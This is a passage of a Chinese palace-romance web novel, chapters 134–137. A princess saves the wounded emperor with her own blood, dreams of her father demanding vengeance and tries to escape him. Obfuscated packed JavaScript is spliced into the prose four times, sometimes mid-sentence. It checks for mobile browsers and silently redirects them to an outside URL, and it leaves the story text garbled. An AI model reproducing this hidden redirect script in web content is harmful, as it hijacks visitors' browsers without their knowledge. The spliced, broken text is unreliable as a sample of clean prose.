慕容清知道北宫喆在意安文夕,招招势势皆针对着安文夕,逼的北宫喆不得不去拦截他的招式,将他的软肋暴露在他的长戟之下。 妈.的,就没见过这么卑鄙的人,安文夕右手一翻,将三枚银针齐齐埋入慕容清握戟的右手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“抓紧我!”安文夕将北宫喆背到后背,指尖卷起凌冽的鞭风扫向来人,苍劲的鞭尾直接将他的脑袋击穿,脑浆横飞,安文夕劈手夺过他手中的长矛,一手使鞭,一手用矛,一刚一柔,在她手中被演绎的完美。北宫喆提着剑扫清身后的危险,两人生生的杀出了一条血路。 北宫喆看着她轻挽的黛眉,心中一涩,她眼底坚韧一片,她的倔强令人心疼。 即将冲出士兵包围之时,身后又起了箭雨,此时青玄、惊魂等人已经趁着刚才北宫喆的涌出的气流靠近了北军。 “皇上——”青玄立即护在了北宫喆和安文夕身前,拦下了身后的一片箭雨。 “嘘——”随着北宫喆的一声口哨声,不多一会,远处哒哒的跑来一匹骏马,这是他的蹄血玉狮子! “上马!”北宫喆放在安文夕腰间的手突然收紧,将她带上马背。 安文夕握着缰绳疾驰片刻,发觉身后的人几乎将全部的力量全部挂在了她的肩头,安文夕心中一紧,蓦然回头,北宫喆差点从马背上跌下去。 “吁——”安文夕勒住缰绳,转身抱住身后的人,看着他紧闭的双眼,一颗心顿时沉到了谷底。 第134章 想他活着 第一百三十四章想他活着 “欢凉,帮我一下。”安文夕翻身下马,然后和欢凉一起将北宫喆接了下来。 她的手触到一片湿滑,拿出来一看血红一片,安文夕的心蓦地一颤,小心的挪了下北宫喆的身子,避开了他身后的羽箭。 欢凉扫了眼北宫喆背后的箭,凝眉道:“这一箭几乎将他的身体刺穿,只怕……”只怕情况不容乐观。就是没有伤到心脏,流了这么多的血,再加上拔箭,不知道他能不能挺得过来。 “他不会有事的。”安文夕抿唇,飞快的封住了北宫喆周身大丨穴,尽量减少流血。 欢凉扫了眼地上的北宫喆咬了咬牙,现在的确是一个除去他的好机会,而且能神不知鬼不觉。可是他毕竟是为了公主受伤,恩将仇报,她做不来也下不去手。 更何况,看着公主眼底的担心和害怕,她知道公主已经完全沉沦在北宫喆的怀中,不记得报仇了。现在看来,公主一定会想办法救活北宫喆的。 不管公主怎样选择,她都支持公主。报仇也好,放弃也罢,只要公主喜欢就好。 “公主,我们赶紧去找月公子吧。” “小师妹,赶紧将他扶到马车上来!”袭匀不知道从哪个方向赶着一辆马车冒了出来。 袭匀走到跟前,飞快的下马,然后搀起地上的北宫喆。 他才不在乎什么国恨家仇,他只希望他的小师妹可以快快乐乐的,没准她一高兴,就把欢凉许给他了。 “驾——”哒哒的马蹄扬起一阵尘土,模糊了身后的视线。 “袭匀,你慢一点,太颠簸了。”安文夕抱着北宫喆,让他趴在她的腿上,紧紧握住他的手。 “你起开,我来。”欢凉一把从袭匀手中抢过来缰绳,将他往旁边一赶。 “我这不是想着赶紧回到军营么。”袭匀努努嘴。 安文夕指尖轻颤着拂过北宫喆苍白的脸,毫无血色的唇。有多久,她没有这样触碰过他的脸庞了? 这一刻,她无比的清楚她的内心,她想他活着! 刚来到夏营,欢凉立即去叫月清绝,安文夕急忙将北宫喆搀到了主营帐内。 月清绝听闻北宫喆受了箭伤,当即愣了一瞬,然后抓起药箱就奔向了主营。 看着那几乎全部没入血肉的羽箭,月清绝双眸一黯,飞快的从药箱里取出一枚药丸喂入北宫喆嘴中,然后将他身上的盔甲一一脱掉,拿出剪刀将贴身衣物剪开。 安文夕拧了巾帕,小心翼翼的将伤口周围的血渍擦掉。 月清绝抿了抿唇道:“这一箭极深,虽然没有伤到心脏,却压迫着大动脉,万一拔箭过程中,触动了大动脉,引起大出血的话……” “月公子,你尽管拔就是,我相信你。” 月清绝一阵冷汗直流,他还是头一次遇到这个棘手的情况,偏偏对象还是北宫喆,他自己都没有把握,她拿什么相信他? “拿我的血救他!我的血中融了千年龙魄,当时他就想用我的血救江向晚……只要他还有一口气,我都要试一试。” 月清绝落到安文夕脸上的眸光幽深,半晌垂眸道:“好!我定会还你一个活蹦乱跳的北宫喆!” 安文夕在北宫喆嘴里塞入巾帕,防止他忍受疼痛时咬破嘴角。 月清绝取出手术刀,蘸了酒,不断地在火上来回烘烤,然后立在北宫喆身侧,在箭头入体的地方割开了垂至割开了两道,一点点的深入皮肉。 安文夕感觉她握着的双手蓦地一颤,北宫喆微不可见的皱了皱眉。 “月公子,轻一点。”安文夕说着拿着巾帕给北宫喆擦着额头上的细汗。 月清绝手中的动作一顿,刚想说他没这么柔弱,对上安文夕那双澄澈的双眸,月清绝心中一滞,点点头道:“好。” 袭匀和欢凉对视了一眼,盘腿而坐,将内力输入北宫喆体内,护住他的心脉。 月清绝将箭头周围的血肉一点点割开,那箭头离心脏不过是半指的距离,若是再偏一点,就要击穿那条大动脉了。 箭头上面有倒钩,拔箭的时候稍不注意就会划破大动脉,引起大出血。 月清绝的指尖有些发颤,他的手中掌握着北宫喆的性命,亦决定着大夏的生死存亡。 “拔吧。”安文夕看着他有些紧张的神情轻声道。 “哥,别犹豫,喆哥哥一定会没事的。” 月清绝深吸了一口气,咬了咬牙,握紧了箭身,飞快的将箭头拔了出来。一道浓稠的鲜血瞬间喷射到月清绝脸上,箭头的倒钩勾生生扯下来一块皮肉。 北宫喆紧锁着眉头,额头上滚下豆大的汗珠来,像是在忍受着巨大的痛苦一般,握着安文夕的手都不自觉的加大了力道,勒得安文夕一阵生疼,然后北宫喆整个人瘫软了下去。 月清绝顾不得擦去脸上的鲜血,立即捂住了北宫喆的伤口,幸好没有碰触到大动脉。 “怎么了?”安文夕急切道。 “有惊无险。”月清绝一边说着一边接过来月无双递来的伤药敷到伤口上,用纱布包扎起来。 安文夕松了口气,只听得月清绝又道:“他到底是失血过多,至于她能不能醒来,就看他能否熬过今晚了。” 月清绝扫了眼北宫喆苍白的脸色叹了口气,这虽然是不幸中的万幸了,但是这件事还得靠他自己。 他又清理了一下北宫喆小腹上的刺伤,上了药缠上纱布。 安文夕抿了抿唇,拿过月清绝的手术刀飞快的在手腕上划了一道,鲜红的鲜血顿时汩汩而流。 欢凉看到这一幕,立即收了掌,惊呼道:“公主,你这是干什么,你的身子这么弱,怎么可以……” 她不反对公主救他,也不反对公主爱他,可是她不允许公主伤害自己啊! 更何况,为了他,为了那个曾经肆意伤害折磨她的男人,这么做值得么? “快,拿碗来!”安文夕厉声道。 月无双立即冲到外间拿来了一只瓷碗,递给了安文夕。 安文夕接了满满一碗才放下了碗,扯过纱布将手腕缠了一圈。 看着这满满一碗的鲜血,安文夕嘴角勾起了一抹淡笑,他是她千方百计想要杀的人,没想到有一天她竟然会亲自取血救他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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突然她的手蓦地一顿,他的小腹上方有一道清晰的伤口,像一条蜈蚣一般分外丑陋,视线往上看去,目光停留在他的胸口处,那两道触目惊心的伤痕令她的睫毛轻颤。 一道是她在清河受傀儡术操控的时候,一剑穿胸。 另一道是那次在万寿节九华殿上,用玄冰**所刺。 还有他的脖子上的牙齿印是她在青末山庄上咬上去的。 她曾被他上的伤痕累累,他又何曾不是被她伤得体无完肤? 他伤她的,她伤他的,早就分不清了,这辈子注定要死死纠缠! “喆……”江向晚顾不得身体不适,急急忙忙赶到了主营帐前,刚欲掀开帐帘,一截手臂蓦地拦住了她的去路。 “江小姐,皇上和娘娘正在休息,你进去不合适。” “放肆,我们小姐即将成为大夏的皇后,何惧一个小小的瑾淑妃,还不赶紧让开!”雪嫣立在江向晚身后狐假虎威道。 第135章 竟然拦她 第一百三十五章竟然拦她 “那也得等她成了皇后再说吧。”欢凉冷嗤一声,毫不客气的挡在江向晚身前。 欢凉心想公主肯定不乐意看到江向晚,尤其是现在!她必须拦住她! 江向晚盯着欢凉,压下心底的担忧,急声道:“你有什么资格拦我?就是她安文夕也不能不让我进去!” “我们小姐和皇上十几年的情分不是瑾淑妃能比的!”雪嫣脸上浮现一抹嘲弄。 江向晚唇畔蓦地绽开讥笑,轻蔑的扫了眼欢凉横在她面前的手臂,伸手去掀帐帘,喆现在受了重伤,她一刻也等不了了。 “江小姐。”帐帘内传来一声清澈的声音。 紧接着一只葱白玉手从帐帘内伸出来掀开了帘子。 安文夕刚给北宫喆擦干净身体就听到一阵嘈杂,她知道欢凉根本拦不住江向晚。 “安文夕,喆怎么样了?我要进去!” 安文夕瞥了眼一脸担心的江向晚道:“皇上现在需要休息,江小姐晚些再来吧。” 她这是嫌她吵么? “安文夕,若是喆有个三张两短我绝不会放过你!”江向晚眸中闪现一抹阴狠。 在路上的时候,雪嫣已经将她打听到的全都告诉她了,喆是为了救安文夕才受的伤!她恨恨的握了握拳,他为了这个女人命都不要了么,那这大夏的江山又该怎么办? “他会没事的,江小姐回去吧。”安文夕黛眉轻挽,欲转身回营帐。 不料却**向晚一把抓住她的手臂。 “安文夕,以后喆就由我来照顾,我绝不会让一个天天处心积虑想要他的命的女人在他身边!” 安文夕眸光淡扫了一瞬江向晚放在她手臂上的手道:“江小姐还是先将自个儿的身体养好再说吧。” 这一声语气渐冷。 “袭匀、欢凉,送江小姐回去。” “安文夕,你……”江向晚有些不可置信的盯着安文夕,她竟然真的不让她去见喆! 她算个什么东西,竟然拦她? “安文夕,喆都是被你害成这样的,你没资格拦我,更没资格陪在他身边!”江向晚手下的力道不自觉加大。 安文夕顺着她的力道将她的手甩开道:“就凭他这伤是为我受的,我比谁都有资格!”然后撩开帐帘,直接将江向晚晾在了帐外。 安文夕觉得对于一个数次要置她于死地的女人根本没有顾及她脸面一说,若是你不够狠,别人只会当你是软弱好欺! “安文夕,你好大的胆!”江向晚厉声道,双拳紧握,十指狠狠的掐进肉里。 “小姐……”雪嫣气愤的看着帐帘,拉了拉江向晚的衣角,瑾淑妃实在是欺人太甚,她竟敢直接将小姐甩在外面。 不待江向晚发作,欢凉劝道:“江小姐晚些再来吧。” 月清绝刚刚配了药往这边走来,看着江向晚和欢凉剑拔**张的样子,忙道:“江小姐来了?” 江向晚闻言回过头来,看着月清绝手中的药,眉眼间的怒气渐消,紧张道:“喆的情况到底怎么样?安文夕她竟然不让我进去!” “江小姐息怒息怒,皇上中的箭已经拔过了,现在正在昏迷,若是能顺利熬过这一夜就没有大碍了。” “什么?”江向晚双眸骤缩,若是熬不过这一夜,岂不是要…… 她抿了抿唇道:“月公子,我要陪到喆身边,陪他度过这一夜。” “江小姐的心情本公子能理解,可是你自己的身体本就不好,只怕皇上还没有醒来,你就先倒下了。” “可是……”万一喆有个三长两短这该怎么办? “别可是了,江小姐明日一早再来看皇上,我瞧着江小姐今日的脸色不太好,是不是没有吃药啊?” “月公子,小姐正打算吃药,就听闻皇上**的消息了。” “这怎么行呢,你的身子越来越衰弱,这药是一次也不能落下的,不然的话,就是大罗神仙也救不了你。” 月清绝将手中的药递给欢凉,然后对江向晚道:“我还是为江小姐把把脉吧,万一你有个差池,北宫喆那小子醒了还不得要我的命?” “小姐,您就听月公子的吧。”雪嫣扶着江向晚道,月公子说的有道理,小姐身子这么差,怎么有精力去照顾皇上呢。 江向晚刚才被安文夕气的脑袋发晕,此时脚步都有些虚浮了,可是她连看都没有看一眼喆,更何况她还被安文夕甩了脸子,她怎么甘心。 月清绝扫了眼江向晚心里暗道,人家夫妻俩眼瞅着就要和好,你跟着瞎去凑什么热闹,北宫喆这小子好不容易要赢得人家姑娘的心,你就别跟着捣乱成么? “月公子,我答应今天晚上不来打扰喆,可是现在我必须要看上一眼,不然我不会安心。”这已经是她能做的最大的让步了。 月清绝看了眼欢凉,欢凉抿了抿唇道:“江小姐进去吧。”然后她看了眼手中的药去找袭匀。 撩开帐帘,一步步走向里间,江向晚觉得这每一步都仿佛走在了心尖上一般煎熬,纵然她的左胸处根本就没有心。 绕过屏风,不远处的雕花大床上的男子脸色苍白如纸,眉头微微拧着,空气中弥漫着挥之不去的血腥味。 安文夕紧握着北宫喆的双手,看着江向晚进来,丝毫没有放开的意思。 江向晚注意到那十指紧扣的双手,眼睛一阵刺痛,她走近床榻,看着北宫喆惨白的唇色,咬了咬嘴角。 “喆……”她跪坐在床侧,右手紧紧攥着手下的被褥。 她想摸一摸他的脸,握一握他的手,给他些温暖,可惜,安文夕硬生生的挡在了她的身前。 “看也看了,咱们走吧,江小姐。”月清绝提醒道。 江向晚目光不舍得流连在北宫喆脸上,雪嫣上前扶住了她有些颤抖的身子。 “小姐……” “月公子,喆一定会没事的对不对?他十岁的时候和猛虎关在一起,被咬的浑身是伤,所有人都都说必死无疑,可是他却活下来了,十三岁,被扔到战场上,亦是一箭穿心,他也奇迹般的活了下来,今天这一箭,他一定会熬过来的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441019|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“会的,一定会的。”月清绝点点头,和江向晚一起步出了营帐。 安文夕睫毛轻颤,她一直都知道他以前在北襄不受宠,被众位兄弟肆意**,不料他竟过的如此凄惨。 这些他从未跟她提过,她为了他的自尊心亦从未问过。 也许,在他心中她并没有这么重要,不然他不会向她保留这些。亦或者,每个人心里都有些永远无法言说的东西,就像她穿越重生到这九州大陆一般,她也从未向人说过。 而北宫喆这些经历,江向晚却是一一目睹的,江向晚陪着他整整十五年,他们之间有过太多的故事,那是她怎么也插不进去的。 在他小时候,一定是孤独的,江向晚无疑是他从童年到少年感情的唯一寄托,故而江向晚在他心中的重要性不言而喻。 所以,那次在百水崖,他明明知道那一切都是江向晚故意而为,他不仅对她百般维护,还执意要取她的血去救她。 握着北宫喆的手不自觉地紧了几分,他的手掌略有些干燥,暖暖的让人舍不得放开,此时她却觉得烫的厉害。 帐外,袭匀端着熬好的药送了回来,不悦的瞥了眼欢凉道:“我说,你能不能不要一到脏活累活就直接扔给我,你不觉得让你师兄这样俊美无斯的翩翩公子去熬药很跌身份么?” “不觉得。”欢凉凉凉的瞥了他一眼,“赶紧送进去,公主还等着呢。” “小师妹,药来了。” 安文夕放下了北宫喆的手,接过来袭匀手中的药碗,试了试温度,然后放在了一旁。 袭匀帮着安文夕小心翼翼的将北宫喆扶起道:“小师妹,北宫喆一定会没事的,你别想太多,不管你做什么,师兄永远支持你。” 安文夕贴着北宫喆的后背,对袭匀攒出了一抹笑意,“谢谢你,袭匀。” “你叫我一声师兄能死啊?” “谢谢师兄。” 袭匀满意的勾了勾唇,“行了,小师妹,一会我来给你送午膳。” 袭匀走后,安文夕拿过药碗一勺一勺的喂给北宫喆,想必他每次也是这样给她喂药的吧。 午时过后,前方传来大捷,慕容清带领的北军几乎全军覆没,就连他本人也被北宫喆剑气所伤。北军被夏军杀的丢盔弃甲,半路之上又被风明的风家军所劫,若不是沐阳的援军及时赶来,只怕慕容清就要葬身济州。 慕容清带来的二十万大军最终只剩下了八万人马,沐阳再也保不住了,慕容清带着剩余的人马狼狈逃回了原北襄都城洛城。 一阵凉风袭来,令人禁不住浑身发抖,四周气氛阴森可怖,又如坠入云端一般,烟雾缭绕,视线模糊不清。 安文夕冻得浑身发抖,紧张的盯着四周,半晌,在她的身后刮起了一阵阴风,她蓦地回头,却看到一位披头散发的中年男子浑身是血,可是他身上的明黄却深深的刺痛了她的眼睛。 “父皇?”安文夕颤着声音道。 那人缓缓抬起头来,嘴角挂着血迹,双目微撑,眼底泛着愤怒,整张脸也因为他的愤怒而更显狰狞。 第136章 死不瞑目 第一百三十六章死不瞑目 “夕儿……” 这一声熟悉的声音令安文夕急急后退了两步,这是父皇的声音! “夕儿,你不认识父皇了?”那人紧追了两步。 “父皇,你怎么……怎么浑身是血……”安文夕大着胆子上前搀住了他。 “夕儿,父皇不甘心就这么**,不甘心呐!”那人握着她的手力气大的惊人,勒得她一阵生疼。 “父皇……”安文夕眼底泛出湿润。 “夕儿,你真是令父皇太失望了!” 那人眼底中涌出血水来,凌厉的眼神令安文夕一阵毛骨悚然,手心里被濡湿了一片。 “你明明知道那北宫喆逼**父皇,灭了我们大安,你不仅不帮父皇报仇,怎么还可以爱上他呢!” “父皇,我控制不了自己,我也曾经努力的告诉自己要杀了他,可是……可是我就是做不到……”安文夕双手抱着脑袋,一步步后退,然后蜷在一旁,痛苦的挣扎。 “夕儿,你可以的,这次就是个机会!” 安文夕蓦地一滞,突然明白了他的意思,她对上他血红的双眸道:“父皇,夕儿不能恩将仇报,他救了我,我……我不能……” 那人叹了口气,刚想走近她,身子剧烈的抽搐起来,好像在忍受着巨大的痛苦一般,整个人也变得模糊。 “夕儿,记得,记得要帮父皇报仇,不然父皇死不瞑目!死不瞑目!” “父皇……父皇……”安文夕立即站起了身子,眼前再也没有那个人的身影,只剩下了一团灰蒙蒙的烟雾。 安文夕不停地奔跑,不同的寻找、呼唤,可那个人再也没有出现过。 “父皇……父皇……”安文夕倏地惊坐起来,眼中依然泪光点点。 烛火跳跃,撒了一捧烛泪,外面的天空已经蒙蒙亮。 原来这是一场梦! 可是刚才那一幕却真实的可怕,就连父皇握着她的手都是那样清晰的触感。 尤其是父皇最后的那一句死不瞑目,更如重锤一般砸在了她的心头,她心里闷得喘不过气来。 转眸看向床榻上的北宫喆,在昏黄的烛火下,如白瓷般的肌肤泛着柔和的色泽,微抿的嘴角分外苍白。 指尖轻触,柔滑的皮肤令安文夕心中一颤,飞快的掠过他紧闭的双眼、高挺的鼻梁、凉薄的唇。 突然,安文夕手腕青筋毕露,狠狠地扣住了北宫喆的脖子。 父皇让她报仇,可是她现在根本就下不去手,怎么办? 安文夕右手一颤,蓦地收回了手。 北宫喆呼吸骤然一滞,紧抿的薄唇微动,发出孱弱的音节。 “水……” 安文夕根本没有注意到北宫喆微弱的动静,她扫了眼北宫喆,紧抿了嘴角,头也不回的步出了营帐。 二月的清晨,凉沁沁的山风令安文夕身上倏地一冷,慢慢的驱散了安文夕心中的烦闷,她深吸一口气,将肺腑中的浊气长长的吐了出去。双眸也变得愈加清明澄澈起来,她索性就在军营不远处散散步。 远处江向晚的营帐内亦是彻夜灯火通明,江向晚懒洋洋的掀开眼皮,对外间的雪嫣道:“现在是什么时辰了?” 雪嫣闻言立即起身,走到江向晚榻前,“如今都卯时了。” 江向晚闻言,微不可见的点点头。 “小姐,您怎么又醒了?”雪嫣蹙眉,照这样下去,小姐的身体根本吃不消啊。 江向晚坐起身子,脑袋昏沉,有些疲惫不堪。她哪里是又醒了,她几乎一夜未睡! 喆现在还处在危险之中,她怎么能睡得着? “扶我起来。”江向晚掀开了身上的锦被。 “小姐,这天还早着呢,您再睡会吧。” “不睡了,我要去看看喆。”江向晚已经扶着雪嫣的手起身,然后由着雪嫣将她的衣服穿戴整齐。 主营帐内的灯火还在亮着,江向晚犹豫了一下,掀开了帐帘。 “水……水……”北宫喆微微动着嘴角。 江向晚扫了一周没有看到安文夕,不禁心中一喜,立即握住了北宫喆的双手,将耳边靠在北宫喆嘴边,这才听到了他嘴里吐出的微弱的声音。 “水,他要喝水,雪嫣你快去倒水来。”江向晚激动地抓紧了北宫喆的双手。 这是不是意味着喆熬了过来,已经没事了么? 江向晚接过来雪嫣递来的水,万分小心的一勺一勺凑到北宫喆唇边。 一碗水足足喝了将近半个时辰,北宫喆原本苍白的薄唇逐渐恢复了点淡淡的血色。 北宫喆睫毛轻颤,睁开了双眼,美目桃花,灼灼其华,仿佛一瞬间夺去了整间账内的光芒。 “喆,你醒了?”江向晚惊喜道。 “是你?”北宫喆眼底飞快的划过一抹失落,然后坐起了身子,江向晚立即往他身后垫了靠枕。 “喆,是我。”江向晚由于一夜未眠,精神憔悴不堪,脸上挂着的浅笑使得她看起来脸色又苍白了几分。 “是你一直在这里?”北宫喆看着江向晚眼下那一片乌青和布满血丝的双眼,显然是一夜未睡。 江向晚一愣,蓦然抬头,看见北宫喆面若白玉的脸庞,咬了咬牙,点点头,算是默认。 北宫喆垂下了眼睑,掩去了那一抹淡淡失望的眸光。 她呢,她在哪里,他拼死救了她,她仍然无动于衷么? 他记得在战场上她陪他决一死战的决绝,记得她不顾一切将他护在身后的倔强。他以为她动心了,可是…… 观察着北宫喆的神色,江向晚有些紧张,忙握住了北宫喆的手,问道:“喆,你还要喝点水么?” 突然的触感令北宫喆一滞,她的手很热,在他昏迷中他隐约记得有一双略带凉意的手一直握着他的手,那双手,不是她江向晚的。 还有他刚才明明感觉有人掐住了他的脖子,那个人更不是江向晚! 安文夕一直在外面转悠了半个时辰,虽然心境开阔不少,心里的思绪仍然没有解开。那日她就已经解了相思蛊,如今她对北宫喆的心思她再清楚不过,以前还可以将一切推至相思蛊上,现在,她再也骗不了自己。 可是,父皇的仇怎么办,父皇说他死不瞑目! 许多次都是她的犹豫不决,才会拖到了现在还没有杀得了北宫喆,她的确令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451034|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父皇失望了。 安文夕抿了抿唇,迈开了湿重的雾气,走向小厨房。 她的肢体行为比她的大脑更快地做出了选择,她为北宫喆熬了药然后朝主营帐走去。 就让她再沉沦这一次吧,等他好了之后,她绝不心软,绝不心软! 安文夕掀开帐帘,走到里间,看到那双紧握在一起的手,手中端着的碗蓦地一松,安文夕迅速反应过来,倏地将药碗接住,里面的药汁一滴不撒。 愣了一瞬,安文夕走上前去,抿了抿唇对北宫喆道:“喝药吧。” 江向晚有些不自然的扯了扯嘴角,伸手欲接过来安文夕手中的药碗,“我来吧。” “夕儿过来。”北宫喆直直的盯着她,突然道。 安文夕看也未看江向晚,直接越过她做到北宫喆榻前,舀了药轻轻地吹了吹,然后送到他的嘴边。 江向晚急忙将深处的手收回,脸上飞过一抹尴尬,一时间站也不是,坐也不是。 北宫喆看了她一眼道:“你在这里也守了一夜了,赶紧去休息吧。” 北宫喆话音刚落,江向晚立即涨红了脸颊,咬着下唇,点点头,然后跌跌撞撞的出了帐门,似乎想要逃离一般。 安文夕舀着药汁的手微微一顿,半晌,嘴角慢慢溢出一抹似有似无的讥笑,舀起药汁送到北宫喆唇边。 北宫喆突然握住了安文夕握着勺子的手,凉沁沁的触感分外舒服,他的嘴角攒出了一抹浅笑。 “既然你的手能动,你自己喝吧。”安文夕抽回了手,将药碗塞到北宫喆手中,转身欲走。 “夕儿。”北宫喆突然捉住了她的手,将她拉到他身侧。 看到她手腕上沁出的点点血渍,北宫喆指尖轻触,“还疼么?” 安文夕摇了摇头,这点痛不算什么。 北宫喆将药碗放到小几上,这才发现身上只穿了一件里衣,挣扎着起身,安文夕立即制止他道:“你要做什么,不知道身上有伤么?” 北宫喆重新坐了下来,对安文夕道:“你去拿一下我的衣服,在袖兜里有青色的小瓷瓶。” 安文夕知道他身上有带药的习惯,总是习惯性的将药放在左袖兜里,所以毫不费力的就找到了他所说的青色小瓷瓶。 北宫喆接了过来,一把抓住安文夕的手腕,将她的袖子撸上去,扯开上面缠着的纱布,看到上面刚刚结痂的伤口蹙了眉头。 “你怎么就不知道爱惜自己呢?” 略略宠溺的口吻令安文夕心中一颤,若是以前她定然会说“不是有你爱惜我么?”可是如今她张了张口再也说不出来。 北宫喆将药膏抹在伤口处,他的指尖掠过,凉凉的触感随之而来,安文夕的手蓦地一缩。 “你身上落下伤疤就不好看了。” 安文夕突然收回手,将小几上的药碗送到他的手中,“药凉了,你赶紧喝吧。” 她没骨气的选择了逃避,他对她越好,她的心里就越纠结,越痛苦。 “去做什么?”北宫喆根本就不如她所愿,这一次竟直直的将她带入了怀中。 安文夕惊呼道:“你干什么?你身上有伤,不要命了么!” 第137章 舍得杀朕 第一百三十七章舍得杀朕 “你晚上守着朕,定然没有睡好,上来睡会。” 看着他嘴角的笑意,安文夕顿时神色一滞,他竟然都知道! 在她愣神之际,北宫喆已经将她带上了床榻,抬手脱掉了她的鞋袜,不由分说的将她塞到了他的里侧。 “睡吧,朕守着你。” 安文夕本就疲倦,睡在温软的床榻上,不多一会便沉沉睡去。 北宫喆看着安文夕绝美的睡颜,忍不住轻轻摩挲着她的脸颊,手下的小人丝毫没有反抗,依然睡得香甜。 她是一个警觉的人,只有在她认为安全的环境中才会睡的安稳。可见,她对他的依赖一直都没有变。 夕儿,你现在当真舍得杀朕么?北宫喆嘴角微杨。 一晃之间,过去了十日,每日安文夕都给北宫喆喂药,帮他换药。北宫喆恢复的很快,伤口已经结痂长肉,早已行动自如。 而江向晚的身体却一天天的孱弱下去,北宫喆让惊魂将她送回承安休养,若是一个月后仍然不见起色,就让她继续沉睡,一直等到他找到千年龙魄。 安文夕却一天比一天煎熬,她知道自己不能再继续待在北宫喆身边了,她怕自己沉沦在北宫喆的温柔里,再也对他下不了手。 哒哒的马蹄声一声声敲在她的心中,她窝在马车内,抱着双腿发呆。 “小师妹,你真的打算不告而别?”袭匀一边赶着马车一边问。 “废话,都已经走了,怎么告别?”欢凉斥道。 “怎么老凶我,你要是舍不得闷骚月就自个儿回去!” “你叫月公子什么?” “闷骚月,他有事没事摇一把破扇子,不是闷骚是什么?”袭匀不悦。 “那叫风流潇洒,真是狗嘴里吐不出**!” “我呸,还风流潇洒,你个小没良心的,胳膊肘尽往外拐,他喊我**袭的时候也没见你说什么?” “月公子又没有说错,你就是个**,嘴贱!” “我说你这个臭丫头是不是找打?” “好了好了,别吵了,天天不让人清净!欢凉,你过来。” 欢凉和袭匀对视了一眼,彼此哼了一声,皆扭过头去。 欢凉掀开车帘,看向安文夕道:“公主,你想好我们去哪了吗?” 安文夕略略点头,“我们去南昭。” “什么?”欢凉惊道,公主怎么好端端的要去南昭,南昭向来与中原地带隔绝,四周又有天然的瘴气毒林为屏障,若是没有南昭人引路,中原人根本难以进入南昭国境,以前想去南昭的人,大多数都是死在了毒林里。这也是为什么中原分分合合,动荡不堪,而南昭却一直存在了千年的原因。不论中原怎样硝烟弥漫,战火始终燃烧不到南昭。 “我决定了,既然晟哥哥想要这大夏的江山,那就凭真本事去争去抢,让我一介女流去暗杀算什么能耐?” 欢凉眼中闪现出喜色来,“公主,你说得对,我支持你。” “我们先去承安,和花姑姑商议一番,再将箐姑姑和香茗一起接走。” “欢凉就听公主的。” “到了承安之后,我们再和晟哥哥联络吧。” “是。” “驭——”袭匀突然勒住了缰绳,安文夕和欢凉顿时一个趔趄。 “小师妹,前方有人拦住了路。” 安文夕心中咯噔一下,难道是北宫喆? “换个方向,赶紧走!” “所有的方向都有人!”袭匀掀开车帘,“北宫喆追来了!” 前方不远处,北宫喆一袭白衣,衣袂摇曳,玉带当风,跨坐在蹄血玉狮子上,双目清冷,神情冷煞,一瞬不瞬的盯着安文夕所乘的马车。 半晌,那紧抿的薄唇轻启,“安文夕,还要朕亲自去抱你下来么!” 这十日以来,她无微不至的照顾他,他以为她已经释然了,谁知道这个女人她竟然在筹划着私自逃跑! 北宫喆阴鸷的声音蓦地传进了安文夕耳中,一字一句狠狠的砸在了她的心里,她攥紧了衣角,然后掀开车帘,和那人对视道:“北宫喆,我无法不杀你,您难道想在你身边留下一个定时**么?” 定时**的意思她曾向他说过,他知道。 “朕愿意,朕就不信你舍得杀朕!”北宫喆驾着马慢慢逼近马车。 安文夕一把抽出腰间的七节鞭,对着北宫喆冷眉道:“我会,收了你的人,放我走!” “朕若是不放,你打算和朕动手?” 安文夕握紧了手中的七节鞭看着北宫喆不说话,紧抿的嘴角显露了她的态度。 “根朕回去,去幽冥山,解了你身上的毒之后,你是走是留,朕绝不过问!”冰凉的语气中透着决绝。 他的帝王之尊,他的君临天下,到了她这里,仅剩了哀求。 北宫喆双拳紧握,只要她敢说个不字,他这就将她强行带走! 她**了?她何时中的毒?安文夕微眯着眼睛。 看着安文夕的反应,月清绝看着北宫喆,“你没跟她说过她中了息子魂殇这件事?” 北宫喆微抿了嘴角,他原本就没有打算让她知道自己**这事。若不是这次她突然不告而别,他也不会告诉她。 月清绝顿时有些气急败坏,指着北宫喆道:“你说让我说你什么好,这么重要的事情你也不和人家姑娘说,真是活该人家姑娘要离你而去,要是本公子的话,本公子也看不上你。” 身后方的青玄默不作声的瞥了眼月清绝,月公子您今天来可不是来指责皇上的! 欢凉听到安文夕**,心中一惊,那息子魂殇据说是极为阴邪的毒,公主怎么会中? 